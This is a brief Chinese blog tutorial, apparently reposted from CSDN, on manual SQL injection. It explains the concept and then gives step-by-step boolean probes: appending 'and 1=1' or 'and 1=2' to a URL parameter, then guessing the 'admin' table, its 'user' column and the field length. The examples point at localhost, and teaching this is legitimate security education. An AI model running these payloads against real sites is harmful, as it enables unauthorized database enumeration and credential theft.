SQL注入---手工注入

sql注入的原理

SQL注入(SQL Injection):就是通过将恶意的SQL指令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL指令。

原理:通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所需要的操作。

成因:web应用程序在开发之时,由许多不同的程序员进行合作共同进行,而这些程序员的水平参差不齐,安全意识薄弱,导致未对用户输入的内容进行严格过滤和校验转义,使得应用程序与后台数据库进行交互时,可以传递一些非法参数,造成sql注入现象。

sql手工注入有两种,一种是union联合查询,一种是Ascii逐字解码法

判断一个网站有没有注入点:在网址后面加单引号' 或 and 1=1 和and 1=2

and 1=1 网站返回正常,and 1=2 网站返回错误,证明有可能存在注入点

例子:

http://127.0.0.1/xx?id=11 and 1=1 (正常页面)

http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

第一步-猜表名

and (select count(*) from 表名) >=0

例子 and (select count(*) from admin) >=0 网页返回正常 说明存在admin这个表,返回不正常,接着猜嘻嘻

第二步-猜字段

and (select count(字段名) from 上行语句猜到的表名) >=0

例子 and (select count (user) from admin ) >=0网页返回正常,说明存在user这个字段,返回不正常接着猜

第三步-猜字段的位数

and (select top 1 len (字段) from 表名) >0

例子:and (select top 1 len (user) from admin) >4 返回正常 >5 返回错误,想想 一个数字大于4小于5是什么?没错就是5




猜你喜欢

转载自blog.csdn.net/heye13/article/details/79708233